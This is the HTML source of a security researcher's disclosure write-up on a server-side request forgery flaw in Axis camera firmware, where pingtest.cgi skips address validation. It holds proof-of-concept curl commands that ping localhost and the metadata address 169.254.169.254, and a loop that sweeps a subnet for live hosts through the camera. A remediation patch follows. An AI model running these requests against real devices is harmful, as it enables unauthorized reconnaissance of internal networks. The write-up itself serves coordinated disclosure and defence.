● Zion Boggan
repos/Security Portfolio/security-research-notebook/pingtest-ssrf-missing-validateaddr/index.html
zionboggan.com ↗
Code Commits Tags
423 lines · html
History for this file →
1
<!doctype html>
2
<html lang="en"><head><meta charset="utf-8">
3
<meta name="viewport" content="width=device-width, initial-scale=1.0">
4
<title>Server-Side Request Forgery via pingtest.cgi Missing Address Validation | Zion Boggan</title>
5
<meta name="description" content="`pingtest.cgi` skips the camera&amp;#x27;s own `validateaddr` helper.">
6
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E">
7
<style>
8
  :root{
9
    --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24;
10
    --line:#222936; --line2:#2c3543;
11
    --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675;
12
    --accent:#6cc7b8; --accent-dim:#274b47;
13
    --maxw:1020px;
14
  }
15
  *{box-sizing:border-box;}
16
  html{scroll-behavior:smooth;}
17
  body{margin:0;background:var(--bg);color:var(--ink);
18
    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
19
    font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;}
20
  .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;}
21
  a{color:var(--accent);text-decoration:none;}
22
  a:hover{color:#8fe0d2;}
23
  .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;}
24
25
  /* nav */
26
  nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82);
27
    backdrop-filter:blur(10px);border-bottom:1px solid var(--line);}
28
  nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;}
29
  nav .brand{font-weight:600;letter-spacing:.2px;}
30
  nav .brand .dot{color:var(--accent);}
31
  nav .links{display:flex;gap:26px;font-size:13.5px;}
32
  nav .links a{color:var(--muted);}
33
  nav .links a:hover{color:var(--ink);}
34
  @media(max-width:680px){nav .links{display:none;}}
35
36
  /* hero */
37
  header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line);
38
    background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);}
39
  .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);
40
    display:flex;align-items:center;gap:9px;margin-bottom:20px;}
41
  .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent);
42
    box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;}
43
  @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}}
44
  h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;}
45
  .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;}
46
  .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;}
47
  .hero .lede b{color:var(--ink);font-weight:600;}
48
  .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;}
49
  .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px;
50
    font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);}
51
  .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);}
52
  .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;}
53
  .btn.primary:hover{background:#8fe0d2;color:#06231f;}
54
  .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);}
55
  .meta .mono{color:var(--faint);}
56
57
  /* sections */
58
  section{padding:64px 0;border-bottom:1px solid var(--line);}
59
  .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;}
60
  .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;}
61
  .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;}
62
  .shead .rule{flex:1;height:1px;background:var(--line);}
63
64
  /* flagship */
65
  .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%);
66
    border:1px solid var(--line2);border-radius:14px;overflow:hidden;}
67
  .flag .top{padding:30px 32px 8px;}
68
  .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;}
69
  .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;}
70
  .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;}
71
  .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;}
72
  .flag p{color:var(--soft);margin:0 0 16px;}
73
  .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;}
74
  .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;}
75
  .stat .n{font-size:21px;font-weight:680;color:var(--ink);}
76
  .stat .k{font-size:12px;color:var(--muted);margin-top:2px;}
77
  .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;}
78
  .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;}
79
  .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;}
80
  .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;}
81
  .spec li:first-child{border-top:none;}
82
  .spec li span{color:var(--muted);}
83
  .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;}
84
  @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}}
85
86
  /* lab cards */
87
  .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;}
88
  @media(max-width:680px){.cards{grid-template-columns:1fr;}}
89
  .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel);
90
    display:flex;flex-direction:column;transition:border-color .15s,transform .15s;}
91
  .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);}
92
  .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;}
93
  .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;}
94
  .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;}
95
  .card h3{margin:0 0 9px;font-size:17px;}
96
  .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;}
97
  .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;}
98
  .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line);
99
    border-radius:5px;padding:3px 8px;}
100
  .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;}
101
  .card .lnk::after{content:" →";}
102
103
  /* research */
104
  .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;}
105
  .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
106
  .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center;
107
    padding:18px 22px;border-top:1px solid var(--line);}
108
  .ritem:first-child{border-top:none;}
109
  .ritem:hover{background:var(--panel);}
110
  .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);}
111
  .ritem h3{margin:0 0 3px;font-size:16px;}
112
  .ritem p{margin:0;font-size:13.5px;color:var(--muted);}
113
  .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;}
114
  @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}}
115
  .progs{margin-top:22px;}
116
  .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;}
117
  .progs .row{display:flex;flex-wrap:wrap;gap:7px;}
118
  .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line);
119
    border-radius:6px;padding:4px 10px;}
120
121
  /* credentials */
122
  .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;}
123
  @media(max-width:680px){.cred{grid-template-columns:1fr;}}
124
  .cred p{color:var(--soft);margin:0 0 14px;}
125
  .cred .role{font-size:14px;color:var(--muted);}
126
  .cred .role b{color:var(--ink);font-weight:600;}
127
  .certs{list-style:none;margin:0;padding:0;}
128
  .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft);
129
    display:flex;gap:10px;align-items:baseline;}
130
  .certs li:first-child{border-top:none;}
131
  .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;}
132
133
  footer{padding:46px 0 64px;}
134
  footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;}
135
  footer .links a{color:var(--soft);margin-right:20px;font-size:14px;}
136
  footer .note{color:var(--faint);font-size:12.5px;max-width:520px;}
137
138
  .detail-hero{padding:40px 0 26px;}
139
  .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;}
140
  .back:hover{color:var(--ink);}
141
  .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;}
142
  .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;}
143
  .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;}
144
  .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;}
145
  .content{padding:8px 0 0;max-width:840px;}
146
  .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);}
147
  .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;}
148
  .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;}
149
  .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;}
150
  .content p{color:var(--soft);margin:0 0 15px;}
151
  .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;}
152
  .content li{margin:5px 0;}
153
  .content strong{color:var(--ink);font-weight:600;}
154
  .content a{color:var(--accent);}
155
  .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);}
156
  .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;}
157
  .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;}
158
  .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;}
159
  .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;}
160
  .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;}
161
  .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);}
162
  .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;}
163
  /* notebook index */
164
  .nbgroup{margin:40px 0 0;}
165
  .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;}
166
  .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;}
167
  .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
168
  .nbtable tr{border-top:1px solid var(--line);}
169
  .nbtable tr:first-child{border-top:none;}
170
  .nbtable tr:hover{background:var(--panel);}
171
  .nbtable td{padding:14px 16px;vertical-align:top;}
172
  .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;}
173
  .nbtable .ti a{font-weight:600;color:var(--ink);}
174
  .nbtable .ti a:hover{color:var(--accent);}
175
  .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;}
176
  @media(max-width:680px){.nbtable .cls{width:auto;display:block;}}
177
</style>
178
<link rel="canonical" href="https://zionboggan.com/security-research-notebook/pingtest-ssrf-missing-validateaddr/">
179
<meta name="author" content="Zion Boggan">
180
<meta name="robots" content="index, follow, max-image-preview:large">
181
<meta property="og:type" content="article">
182
<meta property="og:site_name" content="Zion Boggan">
183
<meta property="og:title" content="Server-Side Request Forgery via pingtest.cgi Missing Address Validation | Zion Boggan">
184
<meta property="og:description" content="`pingtest.cgi` skips the camera&amp;#x27;s own `validateaddr` helper.">
185
<meta property="og:url" content="https://zionboggan.com/security-research-notebook/pingtest-ssrf-missing-validateaddr/">
186
<meta property="og:image" content="https://zionboggan.com/assets/og-default.png">
187
<meta name="twitter:card" content="summary_large_image">
188
<meta name="twitter:title" content="Server-Side Request Forgery via pingtest.cgi Missing Address Validation | Zion Boggan">
189
<meta name="twitter:description" content="`pingtest.cgi` skips the camera&amp;#x27;s own `validateaddr` helper.">
190
<meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png">
191
<script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Server-Side Request Forgery via pingtest.cgi Missing Address Validation","description":"`pingtest.cgi` skips the camera&amp;#x27;s own `validateaddr` helper.","url":"https://zionboggan.com/security-research-notebook/pingtest-ssrf-missing-validateaddr/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script>
192
</head><body>
193
<nav><div class="wrap">
194
  <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a>
195
  <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span>
196
</div></nav>
197
<header class="hero detail-hero"><div class="wrap">
198
  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
199
  <div class="kicker">SSRF</div>
200
  <h1>Server-Side Request Forgery via pingtest.cgi Missing Address Validation</h1>
201
</div></header>
202
<section><div class="wrap"><div class="content">
203
<p><strong>VRT Category:</strong> Insecure OS/Firmware
204
<strong>URL/Location:</strong> <code>https://&lt;camera&gt;/axis-cgi/pingtest.cgi?ip=127.0.0.1</code>
205
<strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track)
206
<strong>File:</strong> <code>/usr/html/axis-cgi/pingtest.cgi</code> (shell script)</p>
207
<p><strong>Note:</strong> This is a distinct vulnerability from any httptest.cgi findings.
208
pingtest.cgi is a separate CGI script with a completely different code path
209
(shell script using busybox ping, vs ELF binary using libcurl). The fix is
210
independent: add a <code>validateaddr</code> call to pingtest.cgi.</p>
211
<hr />
212
<h2>Description</h2>
213
<p>The VAPIX API endpoint <code>pingtest.cgi</code> does not validate the user-supplied
214
<code>ip</code> parameter against internal/loopback addresses before executing <code>ping</code>.
215
The functionally identical endpoint <code>tcptest.cgi</code> calls the <code>validateaddr</code>
216
binary for exactly this purpose. This differential omission allows any
217
authenticated user (viewer or higher) to use the camera as a pivot point to
218
ping arbitrary internal network hosts, including localhost, RFC1918 ranges,
219
and link-local metadata endpoints.</p>
220
<p><strong>Authentication required:</strong> Viewer (lowest privilege). The endpoint exists
221
at <code>/axis-cgi/viewer/pingtest.cgi</code> confirming viewer-level access.</p>
222
<hr />
223
<h2>Proof of Concept</h2>
224
<h3>Step 0: Firmware evidence (source code comparison)</h3>
225
<p>Firmware was extracted from P3245-LV_11_11_192.bin (squashfs, zstd, ARTPEC-7 ARM):</p>
226
<pre><code>binwalk --run-as=root -e P3245-LV_11_11_192.bin
227
unsquashfs -d rootfs_extracted rootfs/rootfs.img
228
</code></pre>
229
<h3>Step 1: Source code of pingtest.cgi (VULNERABLE)</h3>
230
<p>Full source at <code>/usr/html/axis-cgi/pingtest.cgi</code>:</p>
231
<pre><code class="language-sh">#!/bin/sh
232
233
# CGI parameters                default
234
#   ip=&lt;ip address&gt;
235
#   generate_header=yes|no      yes
236
237
# Error output to console
238
[ ! -w /dev/console ] || exec 2&gt;/dev/console
239
240
. /usr/html/axis-cgi/lib/functions.sh
241
242
# CGI compliant by default
243
CGI_HDGEN=yes
244
ip=
245
246
if [ &quot;$REQUEST_METHOD&quot; = &quot;POST&quot; ]; then
247
    if [ &quot;$CONTENT_LENGTH&quot; -gt 0 ]; then
248
        read -n $CONTENT_LENGTH POST_DATA &lt;&amp;0
249
    fi
250
fi
251
252
tmp=$(__qs_getparam generate_header)
253
[ -z &quot;$tmp&quot; ] || CGI_HDGEN=$tmp
254
255
# IP address is necessary.
256
tmp=$(__qs_getparam ip) || {
257
    __cgi_errhd 400 &quot;IP address missing&quot;
258
    exit 1
259
}
260
if [ -z &quot;$tmp&quot; ]; then
261
    __cgi_errhd 400 &quot;IP address empty&quot;
262
    exit 1
263
else
264
    ip=$tmp                          # &lt;-- NO VALIDATION
265
fi
266
267
ip_in_use=&quot;got response&quot;
268
ip_unused=&quot;no response&quot;
269
270
if ping  &quot;$ip&quot; &gt;/dev/null; then      # &lt;-- DIRECT USE IN PING
271
    if [ &quot;$CGI_HDGEN&quot; = yes ]; then
272
        __cgi_errhd 200 &quot;$ip_in_use&quot;
273
    else
274
        echo &quot;$ip_in_use&quot;
275
    fi
276
else
277
    if [ &quot;$CGI_HDGEN&quot; = yes ]; then
278
        __cgi_errhd 200 &quot;$ip_unused&quot;
279
    else
280
        echo &quot;$ip_unused&quot;
281
    fi
282
fi
283
</code></pre>
284
<p>The <code>$ip</code> parameter flows from <code>__qs_getparam ip</code> directly to <code>ping "$ip"</code> with <strong>zero validation</strong>.</p>
285
<h3>Step 2: Source code of tcptest.cgi (PATCHED &ndash; has validation)</h3>
286
<p>Relevant excerpt from <code>/usr/html/axis-cgi/tcptest.cgi</code> showing the validation that pingtest.cgi is missing:</p>
287
<pre><code class="language-sh">check_host_addr() {
288
    [ -x &quot;$(command -v validateaddr)&quot; ] || {
289
        report_status &quot;$cgi_hdgen&quot; 500 &quot;Cannot validate address&quot;
290
        exit 1
291
    }
292
    set +e
293
    validateaddr $1
294
    validation_res=$?
295
    case $validation_res in
296
        1)
297
            report_status &quot;$cgi_hdgen&quot; 400 &quot;Invalid localhost address&quot;
298
            exit 1
299
            ;;
300
        2)
301
            report_status &quot;$cgi_hdgen&quot; 400 &quot;Could not resolve address&quot;
302
            exit 1
303
            ;;
304
        3)
305
            report_status &quot;$cgi_hdgen&quot; 400 &quot;Error validating address&quot;
306
            exit 1
307
            ;;
308
    esac
309
    set -e
310
}
311
312
addr__=$(__qs_getparam address) &amp;&amp; [ &quot;$addr__&quot; ] || {
313
    report_status &quot;$cgi_hdgen&quot; 400 &quot;Please specify host name or address&quot;
314
    exit 1
315
}
316
317
check_host_addr &quot;$addr__&quot;            # &lt;-- VALIDATES BEFORE USE
318
319
res=$(tcptest 10 &quot;$addr__&quot; &quot;$port__&quot; 2&gt;&amp;1) || {
320
</code></pre>
321
<p><code>tcptest.cgi</code> calls <code>validateaddr</code> which returns exit code 1 for localhost addresses, exit code 2 for unresolvable addresses, and exit code 3 for format errors. <code>pingtest.cgi</code> has none of this.</p>
322
<h3>Step 3: Firmware binary execution &ndash; validateaddr results</h3>
323
<p>The <code>validateaddr</code> binary was executed directly from the extracted firmware
324
using QEMU user-mode emulation (<code>qemu-arm-static</code>), proving exactly what
325
<code>tcptest.cgi</code> blocks that <code>pingtest.cgi</code> does not:</p>
326
<pre><code>$ for addr in 127.0.0.1 127.0.0.2 127.0.0.12 127.0.0.255 127.1.1.1 \
327
              REDACTED-IP 172.16.0.1 [ip redacted] 169.254.169.254 0.0.0.0 8.8.8.8; do
328
    qemu-arm-static -L $ROOTFS $ROOTFS/usr/bin/validateaddr &quot;$addr&quot;
329
    echo &quot;$addr: exit $?&quot;
330
  done
331
332
127.0.0.1            BLOCKED (exit 1)
333
127.0.0.2            BLOCKED (exit 1)
334
127.0.0.12           BLOCKED (exit 1)
335
127.0.0.255          BLOCKED (exit 1)
336
127.1.1.1            BLOCKED (exit 1)
337
REDACTED-IP             ALLOWED (exit 0)
338
172.16.0.1           ALLOWED (exit 0)
339
[ip redacted]          ALLOWED (exit 0)
340
169.254.169.254      ALLOWED (exit 0)
341
0.0.0.0              BLOCKED (exit 1)
342
8.8.8.8              ALLOWED (exit 0)
343
</code></pre>
344
<p><code>validateaddr</code> blocks all loopback addresses (127.0.0.0/8) and 0.0.0.0.
345
<code>tcptest.cgi</code> calls this binary. <code>pingtest.cgi</code> does not &ndash; so all of
346
the above addresses including every 127.x.x.x are reachable via <code>pingtest.cgi</code>.</p>
347
<h3>Step 4: Exploit &ndash; Ping internal addresses</h3>
348
<pre><code class="language-bash"># Ping localhost (should be blocked, isn't)
349
curl -s --digest -u '&lt;viewer_user&gt;:&lt;viewer_pass&gt;' \
350
  &quot;https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=127.0.0.1&quot;
351
# Expected: &quot;got response&quot; (proves localhost is reachable)
352
353
# Ping link-local metadata endpoint (cloud environments)
354
curl -s --digest -u '&lt;viewer_user&gt;:&lt;viewer_pass&gt;' \
355
  &quot;https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=169.254.169.254&quot;
356
357
# Scan a /24 subnet for live hosts
358
for i in $(seq 1 254); do
359
  resp=$(curl -s --digest -u '&lt;viewer_user&gt;:&lt;viewer_pass&gt;' \
360
    &quot;https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=REDACTED-IP&quot;)
361
  echo &quot;REDACTED-IP: $resp&quot;
362
done
363
# Output: each IP shows &quot;got response&quot; or &quot;no response&quot;
364
365
# Confirm internal Apache VHosts are reachable
366
for addr in 127.0.0.2 127.0.0.3 127.0.0.12; do
367
  curl -s --digest -u '&lt;viewer_user&gt;:&lt;viewer_pass&gt;' \
368
    &quot;https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=$addr&quot;
369
done
370
</code></pre>
371
<h3>Step 5: Verify tcptest.cgi blocks the same requests</h3>
372
<pre><code class="language-bash"># tcptest.cgi with localhost -- returns &quot;Invalid localhost address&quot;
373
curl -s --digest -u '&lt;viewer_user&gt;:&lt;viewer_pass&gt;' \
374
  &quot;https://CAMERA_IP/axis-cgi/tcptest.cgi?address=127.0.0.1&amp;port=80&quot;
375
# Expected: &quot;Invalid localhost address&quot;
376
377
# pingtest.cgi with the SAME address -- no validation, ping succeeds
378
curl -s --digest -u '&lt;viewer_user&gt;:&lt;viewer_pass&gt;' \
379
  &quot;https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=127.0.0.1&quot;
380
# Expected: &quot;got response&quot;
381
</code></pre>
382
<hr />
383
<h2>Impact</h2>
384
<ul>
385
<li><strong>Internal network reconnaissance</strong>: Viewer maps the camera&rsquo;s local network, discovers hosts, identifies infrastructure</li>
386
<li><strong>Cloud metadata exposure</strong>: In cloud-hosted camera deployments, 169.254.169.254 may expose instance credentials</li>
387
<li><strong>Internal service discovery</strong>: AXIS OS has internal services on 127.0.0.2/3/12; confirming their existence aids further attacks</li>
388
<li><strong>Pivot point</strong>: Camera becomes an ICMP scanning tool inside the network perimeter</li>
389
</ul>
390
<hr />
391
<h2>CVSS</h2>
392
<p><strong>Score:</strong> 5.0 (Medium)
393
<strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N</p>
394
<p>Scope is Changed because the impact extends beyond the camera to the internal network.</p>
395
<hr />
396
<h2>Remediation</h2>
397
<p>Add the <code>check_host_addr</code> function (identical to <code>tcptest.cgi</code>) to <code>pingtest.cgi</code> before the <code>ping</code> command:</p>
398
<pre><code class="language-sh"># Add after ip=$tmp and before the ping call:
399
check_host_addr() {
400
    [ -x &quot;$(command -v validateaddr)&quot; ] || {
401
        __cgi_errhd 500 &quot;Cannot validate address&quot;
402
        exit 1
403
    }
404
    set +e
405
    validateaddr $1
406
    validation_res=$?
407
    case $validation_res in
408
        1) __cgi_errhd 400 &quot;Invalid localhost address&quot;; exit 1 ;;
409
        2) __cgi_errhd 400 &quot;Could not resolve address&quot;; exit 1 ;;
410
        3) __cgi_errhd 400 &quot;Error validating address&quot;; exit 1 ;;
411
    esac
412
    set -e
413
}
414
415
check_host_addr &quot;$ip&quot;
416
</code></pre>
417
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/axis-os/pingtest-ssrf-missing-validateaddr.md</p>
418
</div></div></section>
419
<footer><div class="wrap row">
420
  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
421
  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
422
</div></footer>
423
</body></html>